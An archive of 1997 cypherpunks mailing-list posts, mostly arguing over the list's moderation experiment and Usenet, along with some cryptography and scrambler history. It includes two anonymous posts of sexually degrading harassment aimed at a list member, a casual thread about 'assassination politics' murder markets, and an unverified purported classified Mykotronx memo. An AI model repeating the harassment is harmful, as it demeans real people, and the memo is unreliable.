Metzger is the moderator of cryptography@c2.net, started recently as a
moderated version of cypherpunks for those who don't know what the
`cryptography' list is).  The existance of cryptography argues against
the need for `cypherpunks' to be moderated.  Why two competing
moderated lists?

Secondly the status of garbage is in the eye of the beholder.  There
are a few posts which are probably considered garbage by near
everyone, but lots of other stuff which really just depends on what
the reader is interested in.

The problem with censorship or moderation is that it waters down the
absolutism of free speech.  Free speech in electronic media, with
cypherpunks type I, and type II remailers, is the closest thing to
truly free speech yet.

A lot of people seem to regard Jim Bell's assasination politics as
suitable material for censoring.  Yet it is pretty crypto relevant.

Sandy's job is pretty hard to do.  For instance I recently posted
this, which ended up in cpunks-flames, due to being in a thread which
contained a mild flame 2 messages back:

: Diffie-Hellman key generation, there are two main ways of generating
: the diffie-hellman prime modulus, method 1:
: 
: 	p = 2q+1
: 
: where q is a prime also.
: 
: And method 2:
: 
: 	p = r.2q+1
: 
: where q is a prime and r is a randomly generated number.
: 
: With method 1, the security parameter is the size of p in bits (or
: size of q, as they are related).
: 
: With method 2, there are two security parameters, size of q and size
: of p in bits.  
: 
: Method 2 has the advantage that key generation is faster as it is
: quicker to generate new random numbers r, than to repeatedly generate
: trial prime q as you have to do in method 1.  However is the security
: weaker in method 2?  What size of p and q do you have to use to get
: the same security as for same size of p in bits as in method 1?  What
: should be the relationship between the size of p and q?

(I freely admit to injecting additional crypto relevance just for the
fun of seeing it be filtered cpunks-flames -- though I was interested
in discussion also).

> I am well aware of the name recognition and reputation capital associated
> with CP, still I believe it best to *kill the list*.

I'd prefer to see various filtering services offered, and the list
retained.

My main objection with the moderation experiment is that the main list
was renamed.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Mon, 3 Feb 1997 22:57:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: [STEGO] Degausser
Message-ID: <199702040657.XAA17392@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Decoy L[esbian] Vitriol K[ancer]OTM has been fired for
masturbating in front of his boss.

          o/ Decoy L[esbian] Vitriol K[ancer]OTM
         <|
         / >






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Howard W Campbell <woody@hi.net>
Date: Tue, 4 Feb 1997 02:11:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <32F70B0F.63DF@hi.net>
MIME-Version: 1.0
Content-Type: text/plain


 subscribe cypherpunks@toad.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 00:12:27 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <8N3k2D1w165w@bwalk.dm.com>
Message-ID: <32F6EEFC.3706@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> ichudov@algebra.com (Igor Chudov @ home) writes:
> > Adam Back wrote:
> > > Perhaps it is time to reconsider the benefits of alt.cypherpunks.  (As
> > > an aside, it is ironic that John Gilmore was the guy who started the
> > > alt.* USENET hierarchy, specifically to facilitate freedom of speech).

> > An interesting idea.

What's also interesting is Tim May posting after a long "absence",
and in his post he repeats virtually sentence-for-sentence what
a handful of people have been saying here for the past month.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 00:20:29 -0800 (PST)
To: Eric Cordian <emc@wire.insync.net>
Subject: Voting on Moderation [was: Dissolving Choke Points]
In-Reply-To: <199702032118.PAA05476@wire.insync.net>
Message-ID: <32F6F104.24B9@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Eric Cordian wrote:
> Peter Hendrickson writes:
> > Moderation has been a failure.  I'm pretty good at filtering and I
> > can sadly report that there is very little signal out there.

> The quality of the Cypherpunks list is determined solely by the
> amount of signal.  The amount of noise is irrelevant.
[snip]
> Now that we have moderation, I can't do this while subscribed to the
> main list, and have to live in eternal fear that I am writing for
> an audience of 20 every time I respond to something on the unedited
> list.  Foo on that.

I wonder how Sandy will take the vote on continuing or abandoning
the moderation experiment?

In most states, one juror out of 12 can kill a conviction.

In a revolution such as U.S. 1776, only a tiny percent of the people
supported the revolution.

Will Sandy go with a majority decision (pure democratic), or allow
the moderation to go away if a significant minority wants to kill it?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 3 Feb 1997 17:10:41 -0800 (PST)
To: tmcghan@gill-simpson.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <199702031742.JAA28108@toad.com>
Message-ID: <199702040027.AAA00276@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



<tmcghan@gill-simpson.com> writes:
> in a message allegedly from:  "Timothy C. May" <tcmay@got.net>
> 
> > I would have had no problem had John announced that he was creating
> > a new list, the "Good Stuff" list, with Sandy has his Chooser of
> > Good Stuff.
> 
> > But by making the _main list_ the censored one, this skewed things
> > considerably.
> 
> > But the clear message by having Sandy censor the
> > main list (the default list, the list name with the main name, the
> > list we all know about, etc.) 
> 
> Now that the horse is out of the barn, ( or maybe not? ), I can't help
> but ask whether one specific 'change to the change' would have
> satisfied most of your objections:  retaining 'cypherpunks' as the
> name of the unedited, all-the-crud-you-can-read-and-then-some,
> version, and adding an 'cp-worthwhile' list for those of us who prefer
> not to wade thru mountains of garbage to glean a few precious tidbits.

That was the objectionable part of the moderation experiment to me.

> What's in a name?  Is perception more important ( to you ) than 
> reality?  If just swapping names between cp and cp-unedited would make
> such a large difference, I humbly suggest to you that you consider how
> much labels need to matter.  Is the title of the group more important
> the the content?  From where I sit, this looks a lot like a
> style-over-substance complaint.

There is a lot in a name.  The name `Cypherpunks' has, or had a
reputation.  Tricks like censoring the list are not helping that
reputation.

This wording indicates that the other two lists are to satisfy
purists:

(relevant output from sending message with body `lists' to
majordomo@toad.com)

: cypherpunks         (THE MAIN LIST)  Fermenting ideas on crypto and society 
: cypherpunks-flames  (FLAMES DELETED BY MODERATOR) Ideas on crypto and society
: cypherpunks-unedited (THE UN-MODERATED LIST) Ideas on crypto and society

The naming convention indicates that cypherpunks is the main list, as
does the ordering (moderated first).  The text in the sign up message:

(extracts from output from sending message with body `info
cypherpunks' to majordomo@toad.com)

:	cypherpunks		moderated to suppress spam and flames
:	cypherpunks-unedited	all submissions, just as they arrived
:	cypherpunks-flames	the submissions that didn't pass moderation

Also I note in passing that if I recall correctly this section used to
give Hugh Daniel's email address.  Seems John is managing majordomo
himself now?  Is Hugh's no longer being list manager related to the
moderation decision?

: For other questions, my list management address is not the best place,
: since I don't read it every day.  To reach me otherwise, send mail to
: 
: 	gnu@toad.com

> It may also be worth noting that the current 'status quo' is a 
> transient experiment, with a fairly short time limit.  When JG, 
> Sandy, et al. evaluate the results with an eye to future 
> direction(s), they may well consider an 'inverted default' for the two
> list names (i.e.:  cp / cp-unedited)

It would be nice also if JG, Sandy et al, took some notice of the list
opinions next time.

It really would have been better to create a _new_ moderated list,
rather than take over the existing list address, and subscribers.

Maybe those who initiated the moderation experiment thought they
wouldn't get many people moving over to the moderated list if they had
to go to that effort.

Another alternative would have been to discontinue `cypherpunks' and
start `cypherpunks-edited' and `cypherpunks-unedited' forcing people
to choose.  I wouldn't have liked that either, but it would have been
a better experiment.  (Likely that would have lost many altogether,
who simply wouldn't have bothered to resubscribe at all).

Several times in the past, a USENET newsgroup alt.cypherpunks was
suggested.  Some people were against it because they felt that it
would attract more noisy posters.

Perhaps it is time to reconsider the benefits of alt.cypherpunks.  (As
an aside, it is ironic that John Gilmore was the guy who started the
alt.* USENET hierarchy, specifically to facilitate freedom of speech).

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 00:29:24 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
In-Reply-To: <199702030241.UAA25010@manifold.algebra.com>
Message-ID: <32F6F314.6E28@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > Igor Chudov @ home wrote:
[some arguments deleted for lack of time to reply]
> > > Another story: suppose that OKSAS hired me to work for her, but then
> > > our relationships go south and she fires me. Again, her fate is very
> > > unclear, although I would probably spare her life if it were she.

> > If she does it right, with empathy, there is not likely to be a
> > problem.  On the other hand, if she bad-mouths you to prospective
> > employers or customers you want to do business with, you might be
> > inclined to hit her.  This happens a lot when AP is not available.

> ... But would happen more often if it was.

Why, if AP was readily available, would she want to risk being hit
by bad-mouthing you unnecessarily?

> > people who have such money are not going to bump off very many more
> > people than they already do, because:
> > 1. They need the people to make money off of (Mafia rule #4, never
> >    kill someone who owes you money [or is a money source]).

> This is a wrong Mafia rule, they do kill debtors who are in default.

Really?  Then how do they collect their money?  BTW, I heard the rule
from the mouth of a real mob hitman.

> > 2. Rich people have a lot of eyes on them, and it would be easy to
> >    triangulate a series of murders to them, even without hard evidence.
> >    In an AP world, this triangulation/correlation would be enough to
> >    convince people to either shun this killer, or kill him outright.

> When ten people make deals with each other, it becomes hard to
> triangulate. And it is easy, if you know what deals are done, to change
> the result of triangulation: suppose that I know that you borrowed 1
> million from Toto, that my _and_ yours business partner had been
> murdered (by me, but no one knows), and I am afraid that someone will
> triangulate me and implicate me in that murder. I secretly order
> the AP bot to kill Toto, and you get implicated.  Not good.

We all know how people are framed, and we've seen the Hitchcockian
murder scenarios on TV, in movies, etc.  Certainly the CIA et al can
create these scenarios, but what does that have to do with AP as used
by ordinary persons?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 3 Feb 1997 17:10:25 -0800 (PST)
To: pdh@best.com
Subject: Re: Dissolving Choke Points
In-Reply-To: <199702032011.MAA01075@toad.com>
Message-ID: <199702040045.AAA00292@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Peter Hendrickson <pdh@best.com> writes:
> There are lessons to be learned here.  One is that censorship does
> not promote a stimulating and creative dialogue.  The cypherpunks list
> right now is about as interesting as hanging out by the 7-11.

Censorship adds a social hierarchy, and this is inevitably resented.

A similar problem existed with ICS (Internet Chess Servers), they
include a MUD like facility where users can discuss chess.  For misc
reasons certain behaviour was frowned on, and a system of control was
added to the software where certain users where given moderator
status, and could kick others off.

The fact that some of the moderators were particularly poor players
helped to annoy others who though outspoken, where good chess players,
and led to the particularly long thread in alt.chess (or whatever
group it was) titled `guppies rule the goldfish bowl' or something.
(A `fish' is a newbie chess player, a guppie being a small fish,...)

Interesting repetition of the social phenomena of resentment of power
in electronic forums (however well intentioned, and for whatever
perceived social good).

> Another lesson is the danger of choke points.  We can see how
> tempting it is for people to exercise their control.  Even John Gilmore
> was unable to restrain himself from involuntary social engineering
> experiments.  Who would we have considered to be more trustworthy?

Quite.  For a pedigree of championing free speech, and unpaid efforts
to further freedom, he was high up on the list.  I'd feel happier if
he was joining in with these discussions, rather than getting
interested to the extent to set up moderation, even though not
participating in the discussions.

> [distributed list homing ideas]

sounds good.  But what about USENET groups?  They're distributed, what
feature of your proposed solution is superior to using USENET groups
distribution mechanisms in your opinion?

Several times in the past, a USENET newsgroup alt.cypherpunks was
suggested.  Some people were against it because they felt that it
would attract more noisy posters.

Perhaps it is time to reconsider the benefits of alt.cypherpunks.  (As
an aside, it is ironic that John Gilmore was the guy who started the
alt.* USENET hierarchy, specifically to facilitate freedom of speech).

> P.S. I like and respect John and Sandy and I've learned a lot from
> both of them.  While basically well-intentioned, they just made a
> mistake in this instance.

Agree.  Also, the quicker they acknowledge their actions as mistakes,
and correct the results, the less their reputations will suffer.

Perhaps at the end of the trial moderation experiment would be a good
time to change position without loosing face.  (If acknowledging
mistakes bothers them).

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 01:00:13 -0800 (PST)
To: Larry Johnson <lwjohnson@grill.sk.ca>
Subject: Re: Trigger-Words...Trigger-Fingers
In-Reply-To: <199702021555.HAA25437@toad.com>
Message-ID: <32F6FA51.7D5D@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Larry Johnson wrote:
> Cynthia H. Brown wrote:
[snippo]
> Theres not many girls on this list, is there?
[mo' snippo]
> Anyway, my uncle prints out the girl-cypherpunks stuff for the girls
> on my list and they think its real cool and they all want to marry
> technicians so that they can make them work on the computers for them,
> kind of like making them do the computer dishes, you know.
[yet mo' snippo]

I want to get married.  Lots of times.  Are the girls cute?
I don't do hardware, tho, I'm a software guy.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 01:11:54 -0800 (PST)
To: "Scott V. McGuire" <svmcguir@syr.edu>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <Pine.LNX.3.95L01at.970203173304.618A-100000@homebox>
Message-ID: <32F6FD0C.5D98@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Scott V. McGuire wrote:

> (Even within the community, some people are more a part of
> it than others, and nobody is more a part of it then Tim.)

Is this like saying "some of the pigs were more equal than the others"?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Mon, 3 Feb 1997 22:18:12 -0800 (PST)
To: roach_s@alph.swosu.edu
Subject: Re: Dissolving Choke Points
Message-ID: <01IF00D6DQPC9AN1BM@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"roach_s@alph.swosu.edu"  "Sean Roach"  4-FEB-1997 00:47:40.30

>On your idea for fast implementation,  this could be hacked by would-be
>censors.  A message comes into the list, the censor sees that the post is
>from a regular enemy.  The censor then copies the header information onto a
>new message, one containing garbage, or snippets from old posts, reads the
>new post to see if it is acceptable, and if it is, adds a new header,
>probably only the time would be changed, and transmits it out.  If the would
>be censor was the sysop of a machine near the origin of the message, and if
>the censor operated the censorship either by bots, or monitored the feed 24
>hours a day, (not likely), then the actual message would get to few.

	I would suggest that the cure for this problem is to have what is
examined be a cryptographically secure hash instead of (or as well as)
the message ID. The hash should be over the body of the message, and possibly
the sender and Subject line.
	Unless Lance has driven up the prices at Infonex a lot, I'd be willing
to support such a server on an Infonex account. I'd _greatly_ appreciate help
getting the thing started, preferably as a group endeavour (to spread the
load (i.e., keep infonex from being overwhelmed), keep me from temptation,
and make it less likely that a legally troublesome message would go through
an account that I might be blamed for).
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 01:19:32 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: New X-Ray Imager
In-Reply-To: <v02140b01af1c2619c726@[10.0.2.15]>
Message-ID: <32F6FED6.3A5F@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Steve Schear wrote:
> New X-ray gun trades privacy for safety
> Reported by Andy C
> Seen in The Nando Times on 13 August 1996
> "I'm incredibly concerned," said John Henry Hingson, a past president of the
> National Association of Criminal Defense Lawyers, meeting here this past
> week. "The entire nation could become a victim of illegal searches and
> seizures and the law is powerless to protect them from these police abuses."
> But in these nervous times following the the crash of TWA Fight 800 and
> bombings at the Olympics, Oklahoma City and the World Trade Center, many
> Americans are now willing to trade some of their privacy and civil liberties
> for greater security.
> A poll last week by the Los Angeles Times found that a majority of people --
> 58 percent -- said they would curtail some civil liberties if it would help
> thwart terrorism. Thirteen percent said it would depend on what rights were
> at stake. The poll didn't ask people to single out any rights.

The L.A. Times quotes this "poll" all the time, and in fact probably
just made it up.  Why do I know that?  Because they ran a "letter"
from a "teacher" in the valley somewhere about a year ago which said
exactly this same thing.  The "teacher" ran a poll of her students
and they agreed to give up the rights without even knowing which
rights they were giving up.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 01:23:23 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <199702031455.GAA25476@toad.com>
Message-ID: <32F6FFBF.115@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> At 10:50 PM -0500 2/3/97, Michael Froomkin - U.Miami School of Law wrote:
> >(1) I agree with Tim that as a matter of principle, it would be preferable
> >to create a new moderated list, with a similar but distinguishable name,
> >and leave the existing list as it was.  I happen to think less turns on

> This is a point of view many of the most thoughtful commenters seem to
> agree on, isn't it? One would have thought that had Sandy and John really
> been interested in hearing the views of list members, this approach would
> have eventually won out.

Once again, the reason John and Sandy weren't interested was because
the main proponents of this point of view for a long time were me,
Dr. Vulis, and Toto.  Tim and others were either supportive of Sandy
or were silent.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Mon, 3 Feb 1997 22:42:03 -0800 (PST)
To: gbroiles@netbox.com
Subject: Re: Dissolving Choke Points
Message-ID: <01IF016KB5609AN1BM@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"gbroiles@netbox.com"  "Greg Broiles"  4-FEB-1997 01:26:13.34

>(I'm working on a message re moderation and the list which will better
>explain what I think about that - but I'm not trying to argue, above, that
>we *must* have moderation for a long time - simply that it's too early to
>call it a failure for failing to significantly increase the number of
>useful messages.) 

	I'll be interested in that message. I have problems with the
takeover of the original list name, personally. While it is certainly
John Gilmore's right to do whatever he wants with the mailing list
software/hardware (I believe we've settled that, right?), I'd prefer
for the cypherpunks _name_ not be associated with a moderated/censored
list. (I mean no insult to either Sandy or John in this, BTW... I
simply think that they've gone about this the wrong way. For instance,
if John was getting an email overload for toad.com and was trying
to indirectly reduce the load via reducing responses to flames, there
are other ways to solve the problem - such as the distributed mailing
list idea. I do think that Sandy's filtered list could provide a
valuable service - most of the other filtered lists seem to filter
out a bit too much, judging by the "cc any replies to this message
directly to me, I'm on the [insert name of filtered list]" messages I
see. If the list switches to cypherpunks and cypherpunks-edited, I
might go with cypherpunks-edited (or with some combo of cypherpunks-edited
and cypherpunks-flames, the latter more filtered by procmail). My
objection is mainly due to the principle of the thing.)
	Incidentally, I checked the cyberpass.net services, and it
does list mailing lists - including a 10$ per month charge per
100 subscribers. At that rate, I can afford about 100 subscribers
on a local distributed list, given the 10% discount. (Depending
on how it goes, I might be able to afford more... I haven't looked
at my personal finances in detail recently.)

>I think you misspelled "Usenet". Hope this helps. 

>Seriously, if you want a distributed no-choke-points "flooding" message
>distribution system, you're talking about Usenet. Robust software exists
>for clients and servers, and it's already supported worldwide on many
>operating systems. No need to write more software to graft that
>functionality onto E-mail. If the list is going to turn into Usenet (we've
>already got most of Usenet's better kooks), we might as well just move the
>damn thing over to alt.cypherpunks and be done with it. (Anyone care to
>guess who founded alt.* as a way to route around censorship?)

	I'd point out that we _know_ every list member can get email,
but not that they can get Usenet. I can't conveniently get it, for
instance - I'd have to read it via HTTP and respond via email to
a news-to-mail server. Sure, I can get an account at infonex or
wherever and pick up the news groups there... but I'd prefer not
to be forced to, and I suspect the same is true of many people.

>(Of course, Usenet is a technical success and a spectacular failure,
>content-wise. So opponents of moderation will be forgiven for failing to
>mention this sparkling example of an unmoderated, anything-goes forum for
>discussion.)

	Usenet also has easy crossposting, has been discovered by
just about every spam artist known to humankind, and doesn't have
very good filtering software (IMO, the last time I checked). Limited
propagation, especially for a new alt group, especially for a _controversial_
alt group, is also a problem.
	Sure, Usenet has its advantages. (Under allens@earlham.edu and
allens@yang.earlham.edu, I was the second or third highest poster on it
for a few weeks a few years back. I'm familiar with Usenet.) But it also
has its problems.
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dave Emery" <die@pig.die.com>
Date: Mon, 3 Feb 1997 22:53:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: FCPUNX:ecure Phones (fwd)
Message-ID: <9702040652.AA11304@pig.die.com>
MIME-Version: 1.0
Content-Type: text/plain


Forwarded message:
>From die Tue Feb  4 00:30:04 1997
Subject: Re: FCPUNX:ecure Phones
To: eli@gs160.sp.cs.cmu.edu (Eli Brandt)
Date: Tue, 4 Feb 1997 00:30:04 -0500 (EST)
From: "Dave Emery" <die@pig.die.com>
Reply-To: die@die.com
In-Reply-To: <199702040425.UAA08359@blacklodge.c2.net> from "Eli Brandt" at Feb 3, 97 11:24:03 pm
X-Mailer: ELM [version 2.4 PL24alpha3]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Length: 1404      

	Don't think I will bore the list with it,

	But a slightly more complex version of this scheme was one of
the major tactical medium security voice scrambling systems used
by the US in the 70's and 80's and even to a slight extent into
the 90's on military radio circuits.   The military version is
called Parkhill and the crypto gear is the KY-65 and KY-75.

	At one time (in the 70's) it was used for at least secret
traffic.  It was downgraded a couple of times since and is now
considered obselete and compromised.  A Parkhill crypto box
can be seen in the NSA museum...

	The NSA version used time inversion (playing voice samples
backwards) and faster shuffling than this one does, and possibly
a more secure key generator.  But it is rumored to have been
broken by more than one opponent, perhaps including drug cartels.

	Its appeal and why it was so extensively used for a while is
that it interfaces to normal voice radio gear at the audio input
and output level rather than requiring different modulations and
complex digital modems integrated into the radio.  It also gives
pretty good speech quality and speaker recognition.

	Its primary replacement is the ANDVT digital voice terminal
which takes advantage of modern DSP technology to implement modems
usable over radio links and vocoders which can produce acceptable
speech at 1200 or 2400 baud.


							Dave Emery
							die@die.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 4 Feb 1997 02:28:46 -0800 (PST)
To: Bill Stewart <stewarts@IX.NETCOM.COM>
Subject: Re: Dissolving Choke Points
In-Reply-To: <199702040426.UAA13731@toad.com>
Message-ID: <3.0.1.32.19970204021403.0071f6f8@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 10:58 PM 2/3/97 -0800, Bill Stewart wrote:
>An advantage of Usenet is the ability to deploy whatever NoCeM is
>called these days as a way to let people avoid spammers.

My mention of Usenet was somewhat tongue-in-cheek; I don't know if I'd bother
with the list if it were moved to (or gated with) Usenet, as Usenet has
become for the most part 100+ Mb/day of uselessness.

But my impression is that many moderation opponents would also be opponents
of a move to Usenet. Perhaps I'm wrong. But Usenet offers precisely what many
people claim we must have for the list to be viable, e.g.,
uncontrolled/uncontrollable distribution and messaging. So I'm curious about
whether or not the proponents of an open, uncontrolled list really want it to
be *that* open and uncontrolled. In the past, there's been strong opposition
to that. But it's possible that most of the people who had strong feelings
about not wanting to be subjected to the downside of Usenet have already left
the list.

(And if the current opponents of moderation don't want to see the list be
quite that open, I think what we're arguing about here is not "censorship v.
no censorship" but "what degree of censorship do we want? one lump, or two?",
which pretty much eliminates anyone's claim to have a moral high ground from
which to argue.)  

There's really nothing stopping anyone from just setting up a gateway. The
list is already gated one-way to Usenet; it shows up many places as
mail.cypherpunks. What's missing is a gateway running the other direction;
from looking at the headers as messages are received at my ISP (io.com),
toad.com is already in the Path: line, so preventing backfeeding shouldn't be
a problem. (Doh, it's been a few years since I fussed with mail-to-news and
back again, but this isn't rocket science.) 

The good side I see to a move to Usenet is that it lets people use the
comparatively better tools for managing messages - e.g., NoCeM, threading, nn
(whose killfiles will kill by thread, author, regexp, and can be time limited
so you can easily give annoying people a 30-day 'timeout' and see if they're
still a kook later on), AltaVista and DejaNews archiving/searching, and
server architecture that's designed to cope with storing/indexing many
messages.

The down side is that Usenet is more or less a sewer these days, and some of
it's bound to spill over. 


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--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 3 Feb 1997 18:10:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: More Hacking of the Mykotronx Site!
Message-ID: <199702040150.CAA13253@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Hey, d00dz, remember the dumpster diving at Mykotronx facilities in
Torrance? Where they dumped their secret plans for the Clipper chip in the
dumpsters right outside their little building in Torrance? Where guys like
me could find their spreadsheets for budget planning, production run rates,
deals with VLSI Technology, Sandia, and the other NSA  stooges? Remember
how they suddenly started shredding their papers? Well, it's been 3 years,
and apparently the new guys at Rainbow (the parent company) have forgotten
their lesson!

So, here's the latest stuff:

>>>quote

* INTERNAL USE ONLY * COMINT-restricted, limited to M3 classifications
Distribution beyond M3 a national security felony

Mykotronx has agreed to provide to the Estonian government 79.000 MYK-82
processors for its Personnel Surveillance System, as part of the
negotiations to provide Observer Status for Estonia in NATO. Negotiations
continue between Ambassador Aaron and the NATO nations have established
as a minimum that new entrants into the NATO community adhere to the
Unified Cryptography Initiative, initialed by NATO ministers in
Bruxelles, 10-13-96.

Estonia has signified compliance, as noted by their Internal Security
Directorate:

"Kiipe valimistatakse praegu Californias asuvas firmas MYKOTRONX Ltd. ja
ta hind kõigub 10 kuni 30 dollarini olenevalt konkreetsest
       tüübist ning ta on võimline krüpteerima/deshifreerima 15-20 MB/s."

Spysrus agrees to integrate into Personel Surveillance System (PSS)
modules for Internal Security Service (ISS) use.for over 79,000 of
Mykotronx's new Capstone encryption processor (MYK-82). The devices will
be used to build part of the Estonian government's order of Fortezza
Cryptographic Cards for the PSS awarded November 1996. Initial delivery
of the new cryptographic processor will begin June 1997.

The MYK-82, developed by Mykotronx and fabricated by VLSI Technology,
Inc., is the first of a series of security products to be developed as
part of an alliance with the NSA, targeting both Government and
commercial citizen monitoring markets.


--




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Mon, 3 Feb 1997 21:57:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [PICS] Credentials without Identity--Race Bits
Message-ID: <19970204054806.26936.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


Deflated Volcano K[rust] Of The Moment does NOT eat pussy. He
only eats asshole if it's got a big dick up in front. Whoever
calls him bisexual is a fucking liar. He likes to suck cocks in
front of an audience.

       _  O     O  _
        \-|-\_/-|-/  Deflated Volcano K[rust] Of The Moment
         /^\   /^\
        ^^ ^^ ^^ ^^






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Mon, 3 Feb 1997 22:56:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: what's in a name?
Message-ID: <19970204065014.28319.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


Without answering any of the points raised by Wei Dai, let
me address the subject line.

I have been a long time reader of and occasional contributor to
the cypherpunks list. Since it is high volume, I prefer not to have
it show up in my mailbox, but read it from either nntp.hks.net or
infinity.nus.sg/cypherpunks. With the recent change in status of the
list, what I get at those two places is the edited list. The same
would apply to other sublists subscribed to cypherpunks@toad.com too.
If hks and infinity started archiving the unedited list, this wouldn't
bother me so much.

Other than that, I am saddened, as much as a Tim is enraged, that
a supposedly libertarian and anarchistic group of people has decided
that censorship is the right solution to their problems.

Btw, what is with nntp.hks.net? Seems to have been down for couple
of days.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Tue, 4 Feb 1997 00:24:39 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <855044578.918617.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> This is Tim's first error of fact.  I point it out not to insult
> him, but because it seriously affects much of the rest of his
> analysis.  We are conducting an experiment.  It will last one 
> month.  After that, it's over if list members want it to be over.
> If, on the other hand, moderation is seen by the list members as
> beneficial to their use and enjoyment of the list, the current
> form of moderation--or some variation will continue.

How will you allow list members to decide? - Here presumably we 
have a self proclaimed anarchist in favour of direct democracy. 
And if the subscribers can call off this "experiment" it seems rather 
out of place that they did not institute it in the first place.

> > With no false modesty I tried awfully hard to compose substantive
> > essays on crypto-political topics, often more than one per day.
> 
> I would hope that Tim will return to this practice irrespective
> of whether the list remains moderated or returns to its previous
> policies.  More on this, below.

You genuinely expect a thoughtful writer and intelligent author of 
posts to allow you to approve them or otherwise for general release? 
 
> > (Others did too, but they seem to be tapering off as well, leaving the list
> > to be dominated by something called a "Toto," the "O.J. was framed!"
